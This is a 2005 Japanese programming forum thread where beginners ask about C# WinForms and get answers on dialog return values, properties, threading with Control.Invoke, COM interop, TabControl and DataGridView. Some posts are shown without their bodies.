2005/05/14(土) 22:52:41public Form2(string initValue) {
this._value = initValue;
}
private void Form_Load(....) {
this.textBox1.Text = this._value;
}
private void btnOK_Click(....) {
this._value = ths.textBox1.Text;
this.DialogResult = DialogResult.OK;
}
private void btnCancel_Click(....) {
this.DialogResult = DialogResult.Cancel;
}
private string getValue() {
return this._value;
}
0882880
2005/05/14(土) 22:54:350883880
2005/05/14(土) 23:01:30つまり考え方としてはForm2でOK押された時に
「Form2がForm1に値を返す」のでは無く「Form1がForm2に値を貰う」
ってこと。
こういう実装にすればForm2はForm1に依存しないので、
Form2が使い回せるようになる。
0884デフォルトの名無しさん
2005/05/14(土) 23:10:19おいおい、getValue()はよしとくれよJavaじゃあるまいに。
//privateは単純な誤字としてw
0885デフォルトの名無しさん
2005/05/15(日) 20:57:07returnを使うのがミソですね。
おかげさまで上手いこといきました。
ところでC#的には
public string getValue{
get{
return this._value;
}
}
みたいな感じでプロパティを使った方が良いと偶然見た
「C#ルールブック」って本に書いてありました。
一応こっちを使ってみようかなと。
どっちでも動くし、大して違いが分かっていないのですが・・・。
それ以前にgetとかsetとかプロパティってよく分かっていないのですが・・・。
それにしても「値を返す」がダメってのは目から鱗です。
なるほど、依存せずに使い回せるようにするですか。
>>883は大変参考になりました。
ホントにありがとうございました。
0886デフォルトの名無しさん
2005/05/15(日) 22:06:18ただ.netではプロパティにしとくと自動でシリアライズの対象になるので、
プロパティにする方が無難かも。
サンプルではわかりやすいかと思ってメソッドにしてみますた。
メソッドが先頭小文字なのは完全に好みw
0887885
2005/05/16(月) 00:09:28Form2で
private string _value;
public string Value
{
get{
return _value;
}
set{
_value = value;
}
}
としてForm1で
private string s = "XXX";
Form2 f2 = new Form2();
f2.Value = s;
f2.ShowDialog();
if (f2.DialogResult == DialogResult.OK){
s = f2.Value;
}
手な風にForm2のValueプロパティにget setを書いて済ましても良いのでしょうか?
0888デフォルトの名無しさん
2005/05/16(月) 00:21:52例えばOpenFileDialogならFileNameはget; set;だけれど、
事前にsetすれば自動的に指定したディレクトリが開いてファイルが選択されてる状態になる。
……まさか本当にValueなんて名前のプロパティを作ってないだろな。
//クラスによってはありかもしれないが、一般的ではないぞ。
0889デフォルトの名無しさん
2005/05/16(月) 01:33:10レスありがとうございます。
OKってこと出安心しました。
すこしget setについて分かってきたような気がします。
実プログラムではネーミングに苦労はしていますがValueは使っていません。
ですが、一般的ではないとは知りませんでした。m(_ _)m
0890デフォルトの名無しさん
2005/05/16(月) 01:41:32> ですが、一般的ではないとは知りませんでした。m(_ _)m
一般的でない、ってのは名前からどんな物を指すのか分からない(から普通使わない)ってこと。
一般的すぎる、という表現の方が良いかも。
たとえばOpenFileDialogにValueプロパティがあっても意味不明だろう。
勿論Valueという名前を決して使っちゃいけないとか言うことじゃないぞ。
0891デフォルトの名無しさん
2005/05/16(月) 22:19:00了解です。丁寧な返信ありがとうございました。
0892デフォルトの名無しさん
2005/06/04(土) 14:32:430893デフォルトの名無しさん
2005/06/04(土) 15:02:08タスクバーの中にフォームを配置したいのですが
どうすればいいでしょうか?
0894デフォルトの名無しさん
2005/06/04(土) 15:07:57よくわかんないが、タスクバーの中に配置されているのはフォームじゃないんじゃない?
0895デフォルトの名無しさん
2005/06/04(土) 15:14:25配置されていてそれにアイコンが表示されてます。
そのツールバーのようにタスクバーの中にコントロールを配置したいのですが・・・
なんかわかりにくいですね。
0896デフォルトの名無しさん
2005/06/04(土) 15:17:290897デフォルトの名無しさん
2005/06/04(土) 15:33:30GoogleDeskbarのようなものを作りたいのですが
無理でしょうか?
0898デフォルトの名無しさん
2005/06/04(土) 15:52:200899デフォルトの名無しさん
2005/06/04(土) 16:29:23こんな物があったんですか・・・
ありがとうございます。
0900デフォルトの名無しさん
2005/06/23(木) 08:30:130901デフォルトの名無しさん
2005/06/23(木) 23:20:25データベースとかかな。
0902デフォルトの名無しさん
2005/07/09(土) 04:06:160903デフォルトの名無しさん
2005/07/09(土) 17:53:20プログラム初心者で、どなたかにお助け願いたいことがあります。
C#からCOMコンポーネントを使いたいと思っています。
COMの関数から配列を受け取りたいのですが、
どうすれば良いのでしょうか?
COMの方はC++で書いています。
COMの引数はVARIANT型にして、
それをC#ではobject型で受けてみましたが、
受けたobjectの値はどうやって見たらいいのでしょうか・・。
0904デフォルトの名無しさん
2005/07/09(土) 18:09:08http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/cpguide/html/cpcondesignconsiderationsforinteroperation.asp
SAFEARRAYになるのかな。
0905デフォルトの名無しさん
2005/07/09(土) 18:10:19http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/cpguide/html/cpconcomdatatypes.asp
0906903
2005/07/10(日) 23:52:13VisualStudio.NETで、
COMの引数を選択するタブの中にSAFEARRAY*がないので、
VARIANTのSAFEARRAYを作り、
引数はVARIANT*にしました。
これをC#から呼んで使いたいのですが、
objectとして受けた配列から要素の値を取り出す方法が分かりません。
object.ToStringではエラーになってしまいます。
ちなみに、配列の要素の型はlongです。
0907デフォルトの名無しさん
2005/07/11(月) 00:03:370908デフォルトの名無しさん
2005/07/11(月) 05:35:390909デフォルトの名無しさん
2005/07/11(月) 18:57:13MarshalAsAttribute と UnmanagedType (enum) をチェックすべし。
0910デフォルトの名無しさん
2005/07/12(火) 16:25:41ソースが長いので
http://upload.squares.net/upload/src/file0105.txt //Form1.csの内容です
http://upload.squares.net/upload/src/file0106.txt //AlarmList.cs(自作のクラスAlarmDataクラスとAlarmListクラス)の内容です。
timer1_Tickメソッドの中の
this.report.Remove(item); がどうやらネックになっていて困っています。
これを実行すると
http://upload.squares.net/upload/src/file0107.jpg
ようなエラーが表示されてしまいます。
エラー表示を続行すると、ちゃんとみかんが消されているのですが。
なんとかこのエラー表示が出ないようにできないでしょうか。
見たところ自分には何も問題ないコードに見えるのですが。
タイマーのメソッドの中にArrayListクラスのRemoveメソッドが実行されるとあまりよくないということなのでしょうか。
何かエラー表示がでないようになる書き方がありましたら助言いただけるとうれしいです。
0911デフォルトの名無しさん
2005/07/12(火) 16:40:420912912
2005/07/12(火) 16:45:28助言ありがとうございます。
なるほどwhile(it.MoveNext())中に、リストを変更するようなRemoveなどの記述は書いちゃだめということ
なのですね。
どうもありがとうございます。
別の方法を考えてみようと思います。
0913デフォルトの名無しさん
2005/07/12(火) 17:17:48http://wisdom.sakura.ne.jp/system/winapi/win32/win9.html
にあるような、下のようなメッセージループというやつを使うことはできるのでしょうか。
while (TRUE) {
GetMessage(&msg , NULL , 0 , 0);
if (msg.message == WM_LBUTTONUP) break;
DispatchMessage(&msg);
}
0914デフォルトの名無しさん
2005/07/12(火) 17:29:16実際に受け取ったメッセージを処理したい場合は、WndProcというメソッドをオーバーライドする。
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfsystemwindowsformscontrolclasswndproctopic.asp
0915913
2005/07/12(火) 17:32:22アドバイスありがとうございます。
C#.NETでもメッセージ処理できるんですね。
WndProcメソッド調べてやってみようと思います。
0916デフォルトの名無しさん
2005/07/12(火) 21:59:32tabPage1がアクティブになっているところを、ボタンを押すと、tabPage2がアクティブになるようにするにはどのように記述すればいいのでしょうか。
tabPage2.Select(); とか
tabPage2.Show(); とか
tabPage2.Focus(); とか
tabPage2.SelectNextControl(); とか
やってみましたが、どれも意図したとおりにtabPage2は表示されませんでした。
tabPage2. とやってみてインテリセンスに出てくる項目を全部チェックして見ましたが、上に4つ
以外にそれらしいものは見つかりませんでした。
何か書き方がよくないのでしょうか。それともそういったことはできないのでしょうか。
0917デフォルトの名無しさん
2005/07/12(火) 22:02:42tabControl1.SelectedTab = tabPage2;
0918デフォルトの名無しさん
2005/07/12(火) 22:07:440919916
2005/07/12(火) 22:11:19どうもありがとうございます。
tabControl1.SelectedTab = tabPage2;
でできました。ありがとう。
0920デフォルトの名無しさん
2005/07/12(火) 22:11:39右クリックのイベントハンドラでそのタブをアクティブにすりゃええ。
0921デフォルトの名無しさん
2005/07/12(火) 22:25:25TabPage で Click イベントが起きないのじゃよ
0922デフォルトの名無しさん
2005/07/12(火) 22:28:020923デフォルトの名無しさん
2005/07/12(火) 22:38:28どのタブ上で右クリックしたのか分かんねえだよ
0924デフォルトの名無しさん
2005/07/12(火) 22:47:440925デフォルトの名無しさん
2005/07/12(火) 23:03:010926デフォルトの名無しさん
2005/07/12(火) 23:05:290927デフォルトの名無しさん
2005/07/12(火) 23:32:540928デフォルトの名無しさん
2005/07/13(水) 00:08:01MouseDown、MouseUpでどうにかしたほうがマシだな(^Д^)ハハハハ
0929デフォルトの名無しさん
2005/07/14(木) 12:04:32ということをしたいのですが、エラーが出てしまい困っています。
エラー内容は
オブジェクト参照がオブジェクト インスタンスに設定されていません。
なのですが、googleで検索してみると、要するに、nullを参照しようとしました。という意味らしいので
メインウィンドウ側の
public string test1;
public string test2;
を
public string test1 = "";
public string test2 = "";
に変えてみたりしたのですが、相変わらす同じエラーが出てしまい。アプリの方は固まってしまいます。
http://upload.squares.net/upload/src/file0115.txt //Form1.cs(メインウィンドウ)の内容
http://upload.squares.net/upload/src/file0110.txt //setup.cs(サブウィンドウ)の内容
http://upload.squares.net/upload/src/file0112.jpg //エラー画面
http://upload.squares.net/upload/src/file0111.jpg //このアプリの外観
どのように書いたらこのエラーを回避できるでしょうか。
0930デフォルトの名無しさん
2005/07/14(木) 12:22:18まずなにがnullなのか確認したのか?
ブレークポイントを有効に使うんだ。
つかsetupクラスの方がForm1の参照を持つ必要がどこにもない。
いつもいってるんだが、ダイアログを出してその結果を取得する、というのは、
OpenFileDialogクラスを基本的な設計として考えると良い。
ダイアログ側がメインフォームのプロパティやフィールドに値を入れるんじゃなくて、
ダイアログ側は値をプロパティとして公開するだけ。その公開された値をメインフォーム側が利用する。
・メインフォームがダイアログを出す
・OKが押された場合は、ダイアログ側の適当なフィールドaに値を入れる。
自身のDialogResultプロパティをDialogResult.OKなりYesなりに代入することでダイアログを閉じる
・ダイアログはaをプロパティAとして公開する
・メインフォームはShowDialogメソッドの返値を調べ、有効な値(OKなりYesなり)ならダイアログのプロパティAを取得する。
必要なら自身のフィールドなどに格納する。
0931デフォルトの名無しさん
2005/07/14(木) 12:25:54×自身のDialogResultプロパティをDialogResult.OKなりYesなりに代入することでダイアログを閉じる
○自身のDialogResultプロパティにDialogResult.OKなりYesなりを代入することでダイアログを閉じる
0932929
2005/07/14(木) 12:40:29助言ありがとうございます。
とにかく参照の方向が逆だったのですね。
メインフォームからサブフォームの値を参照するように変えて今いろいろいじってます。
0933デフォルトの名無しさん
2005/07/14(木) 12:50:080934929
2005/07/14(木) 13:05:38http://upload.squares.net/upload/src/file0118.txt //Form1.cs(メインウィンドウ)
http://upload.squares.net/upload/src/file0118.txt //setup.cs(サブウィンドウ)
上のようにコードを書き換えたところ、サブウィンドウのテキストボックスに入力した文字列が
メインウィンドウに表示されました。
が、しかし、今度はサブウィンドウのOKボタンを2回押さないとサブウィンドウが閉じないんです。
コードは短いし単純だと思うんです。どこをどう間違って2回押さないと閉じないのか、いろいろいじって
考えてみようと思います。
何かこれじゃないのかというのがありましたら助言いただけるとうれしいです。
0935デフォルトの名無しさん
2005/07/14(木) 13:09:340936929
2005/07/14(木) 13:12:50まさか、そんなことだったとは。
ちょっと目から鱗が落ちました。
どうもありがとうございます。ちゃんと1回でサブウィンドウが閉じました。
かなりすっきりしました。
例のコードの原因究明もしようと思います。ありがとうございました。
0937デフォルトの名無しさん
2005/07/14(木) 17:48:11tryって打つだけで
catch, End tryまで 書いてくれるんですけど
C#にそんな機能はないのでしょうか。
0938デフォルトの名無しさん
2005/07/14(木) 18:27:50catch(Exception e)
{
// 例外をcatch
}
catch
{
// 例外の種類によらずcatch
}
finally
{
// tryを抜けるときに必ず実行される
}
0939デフォルトの名無しさん
2005/07/14(木) 18:29:42}
finally {
}
って書きたいこともあるな。
0940デフォルトの名無しさん
2005/07/14(木) 20:04:11catch (Exception ex) {
return;
}
って書くと警告が出るのはどうにかならんかなと思ってたら、
catch (Exception) {
return;
}
と書けることに最近気付いた。
0941デフォルトの名無しさん
2005/07/14(木) 21:46:28だけでなく
throw;
ってのもかけるよ
0942903
2005/07/14(木) 23:07:49どうもなかなかうまくいきません。
もう少しねばってみます。
0943デフォルトの名無しさん
2005/07/14(木) 23:26:37通常時のウィンドウの大きさを取得する方法ってない?
0944デフォルトの名無しさん
2005/07/15(金) 10:53:52とか
25500
のような数値型からコンバートして
System.Drawing.Colorを作成する方法を教えてください
0945デフォルトの名無しさん
2005/07/15(金) 11:03:390946デフォルトの名無しさん
2005/07/15(金) 21:48:39Layoutイベント辺りでWindowState==FormWindowState.Normalの時のサイズをフィールドに保存しとけ。
0947デフォルトの名無しさん
2005/07/17(日) 00:38:01AddとかRemoveの引数をobjectじゃなく特定のクラスにしたいんですが、
そうすると、コンパイルエラーになります。
どうにかできないものでしょうか?
TreeNodeCollectionとか、ライブラリレベルのクラスで、IListを持っているものは、
ちゃんと引数をobjectではなく、特定の型になってますけど・・・
0948デフォルトの名無しさん
2005/07/17(日) 00:43:500949デフォルトの名無しさん
2005/07/17(日) 01:02:01void IList.Add(object value)
{
}
public void Add(Hoge value)
{
}
0950デフォルトの名無しさん
2005/07/17(日) 01:06:03IList.Addの返値はintだぜお前さん。
0951947
2005/07/17(日) 20:48:47ありがとうございます。IList以外でも道が開けそうです!
0952デフォルトの名無しさん
2005/07/18(月) 15:22:14CollectionBaseクラスの解説に実装例があるよ
0953デフォルトの名無しさん
2005/07/18(月) 17:58:15ウインドウハンドルを取得するにはどうすればいいの?
0954デフォルトの名無しさん
2005/07/18(月) 18:06:21それはこっちで聞いたほうがいい。
Win32API質問箱 Build33
http://pc8.2ch.net/test/read.cgi/tech/1120153520/
0955デフォルトの名無しさん
2005/07/18(月) 18:15:24ttp://www.google.co.jp/
0957デフォルトの名無しさん
2005/07/18(月) 22:04:31ExpressBeta2で、DataGridViewやってます。
今、DataSourceとDataMemberをそれぞれ、dataset 及びそのtable
に設定し、且つユーザーの削除を有効にしています。
AllowUserDelete True
でも、マウスクリックによりセルを選択状態にし、
キーボードより、デリートキーを押しても
そのセルを含む行が削除されてくれません。
これは何が原因と考えれらるでしょうか。
ずっとネット検索してるんですけど、
いまだ解決できません・・・(T_T)
よろしくお願いします。
以上
WinXPsp2
なお、この投稿は他の掲示板からの二重投稿になります。
前の掲示板(C#関係)でスルーされてしまいました。
資源を浪費してすみません、偉い人。
0958デフォルトの名無しさん
2005/07/18(月) 22:15:45AllowUserToDeleteRows
だろう。
セル=Column(s)じゃなくて行=Row(s)を選択せにゃならんよ。
0959デフォルトの名無しさん
2005/07/18(月) 22:19:300960デフォルトの名無しさん
2005/07/18(月) 22:23:27まあ細かいことは気にするなニュアンスだニュアンス
0961957
2005/07/18(月) 22:26:13プロパティを変更したらうまくいったじゃねーかよ(><
列が1つしかなかったから、気づかなかった○rx
ありがとな、えろいひと。
0962957
2005/07/18(月) 22:28:53ROWは、上限に重なるもの、つまり行だよ☆
覚えた??
0963デフォルトの名無しさん
2005/07/18(月) 22:33:410964957
2005/07/18(月) 22:38:500965デフォルトの名無しさん
2005/07/19(火) 02:54:39感動した
0966デフォルトの名無しさん
2005/07/19(火) 08:14:30今、いらないファイル(logファイルとか)を
勝手に消してくれる常駐ソフトを作ろうと
しているのですが、最小化したときにタスクバー
に突っ込むのはどうしたらよいのでしょうか?
ぐぐっても全然出てこないので困っていますorz
2つめは、監視するところを、複数のスレッド
に分けて処理しようと思ったのですが、試しに
threadを使ってみると、なんか変なエラーが
出て来てしまいます(只今外出中につき正式な
名称は不明 スマソ)。
そいつをtry catch文を使って回避しても、
別のエラーが出て来てしまいます。
それだけならまだ自分の入力ミスで済まされる
のですが、本や他のHPに載っている例題を
使ってもこのエラーが出て来やがります。
これはどうしたらよいのでしょうか?
長文ダラダラすいません orz
0967966
2005/07/19(火) 08:17:37使っていたのは2005のベータ1でした。
ベータ2はまだ試してません。
連投スマソ
0968デフォルトの名無しさん
2005/07/19(火) 08:23:37NotifyIconクラスを使う。
二つ目はコード出せ。最低限、例外名出せ。
0970デフォルトの名無しさん
2005/07/19(火) 14:34:48神レベルの質問者だな
0971966
2005/07/19(火) 23:51:40とりあえず試しに作ってみたやつのコード
using System.Threading;
Thread thread_1;
private void button1_Click(object sender, EventArgs e)
{
thread_1 = new Thread(new ThreadStart(start));
thread_1.Start();
}
private void start()
{
for (long i = 0; ; i++)
{
textBox1.AppendText(i.ToString());
}
}
private void button2_Click(object sender, EventArgs e)
{
thread_1.Abort();
}
てので、button1をおすとInvalidOperationExceptionという例外が出てきてしまいます。
本についてたサンプルも、開始ボタンを押すとこれが出ます
0972デフォルトの名無しさん
2005/07/20(水) 00:06:56例外を書くときは例外メッセージを余すところ無く書くように。
で、WindowsのGUIにおいて、コントロールを作ったスレッド以外のスレッドからのコントロールの操作は、動作が「保証されない」。
だから別スレッドからコントロールを操作する場合、コントロールを作ったスレッドに操作を依頼するのが正しい。
それを実現するのがControl.Invoke/BeginInvokeメソッドだ。
0973966
2005/07/20(水) 06:38:51>>972
Control.Invoke/BeginInvokeメソッド…
聞いた事がないな orz
いろいろぐぐってみますが、また分からなかったら
質問させてください。
ありがとうございました。
0974デフォルトの名無しさん
2005/07/20(水) 08:09:29とっとと2.0の匿名メソッドとパーシャルクラスщ(゚Д゚щ)カモォォォン
0975デフォルトの名無しさん
2005/07/20(水) 18:39:36@"C:\ABC.txt"
↑
これ
0976デフォルトの名無しさん
2005/07/20(水) 18:51:13"C:\\ABC.txt"
0977デフォルトの名無しさん
2005/07/20(水) 21:02:520978デフォルトの名無しさん
2005/07/20(水) 21:09:380979デフォルトの名無しさん
2005/07/20(水) 22:44:50int i = 0;
object o = i;
とやると、oにはiの参照ではなくて値のコピーが代入されてしまうようです。
iをobject型にすれば参照渡しできそうですが、それだとちょっと不便です。
0980デフォルトの名無しさん
2005/07/20(水) 22:52:56………やりかたはいろいろあるけど、なんとなく設計そのものが奇妙な気がする
とりあえず、『構造体を持つオブジェクトを作り、それを持つ』 のが適当かつ簡単かと
よろしくおねがいします
public override void scanEntry()
{
string[]myComputer = Directory.GetLogicalDrives();
foreach (string strDrives in myComputer)
{
bool IsExist = false;
foreach (DriveComposite drive in lstDriveEntry)
{
if (drive.FileName == strDrives)
{
IsExist = true;
break;
}
if (!IsExist)
{
addFolder(new DriveComposite(strDrives));
}
}
}
情報不足であることは勘弁してください
上記のような処理にすれば問題はおこらなくなるのですが
IsExist みたいなフラグを持たないコーディングにはできないでしょうか?
キーワードだけでいいのでご教示ください
0982デフォルトの名無しさん
2005/07/21(木) 00:09:150983デフォルトの名無しさん
2005/07/21(木) 09:33:42質問ですが、C#でOLEDRAWを利用するサンプルってあるのでしょうか?
http://www11.plala.or.jp/acaccelerator/programming/cstips.html#DrawControlImage
のコードを使った下記のようなコードを書いてみましたが動作しませんでした orz
何が悪いかご教授して頂けないでしょうか?
-----------------------------------
Graphics grfInst ;
Point pntLocation = new Point( 0, 0);
//
grfInst = pictureBox1.CreateGraphics();
grfInst.Clear(Color.White);
//
//ここでpictureBox1にaxWebBrowser1の内容が表示されるはず・・・
DrawControlImage(grfInst , axWebBrowser1 , pntLocation);
//
grfInst.Dispose();
-----------------------------------
0984デフォルトの名無しさん
2005/07/21(木) 10:16:170985デフォルトの名無しさん
2005/07/21(木) 10:18:430986デフォルトの名無しさん
2005/07/21(木) 11:13:40VB.netだと上のコンボボックスから選択するだけで簡単に追加できますよね。
0987デフォルトの名無しさん
2005/07/21(木) 11:19:440990デフォルトの名無しさん
2005/07/21(木) 11:45:59「DrawControlImage」と「DrawWebBrowserImage」の間違いに今気がつきました。
こんな単純な事に気がつかないとは・・・申し訳ないです。
現状ですが、「DrawWebBrowserImage」でJPEGなどの画像ならイメージを作成できたのですが
WORDやEXCELだと、イメージが作成されないのですが、OleDrawではWORDやEXCELのイメージ
は作成する事ができないのでしょうか?
今考えているのは、WORDやEXCELの印刷時の1ページを、JPEGなどの画像で保存できるか?
という事なのですが・・・
0991デフォルトの名無しさん
2005/07/21(木) 22:10:390992デフォルトの名無しさん
2005/07/22(金) 01:13:14なるほど、こんな便利な物があるんですね。
素人的な考えなのですが、このような機能を作るの
はかなり難しいのでしょうか?
素人の戯言ですが、他のソフトができている事が
自分にはできないってのが非常に悔しいです。
0993デフォルトの名無しさん
2005/07/22(金) 01:34:37作ろうと思えば実際に存在する以上作れるのは間違いないんだし。
0994デフォルトの名無しさん
2005/07/22(金) 08:34:53そうですよねぇ・・
今回はFinePrintを使ってみます、ありがとうございました。
0995デフォルトの名無しさん
2005/07/22(金) 11:08:380996デフォルトの名無しさん
2005/07/22(金) 11:09:360997デフォルトの名無しさん
2005/07/22(金) 11:10:080998デフォルトの名無しさん
2005/07/22(金) 11:10:430999デフォルトの名無しさん
2005/07/22(金) 11:11:251000デフォルトの名無しさん
2005/07/22(金) 11:18:3110011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。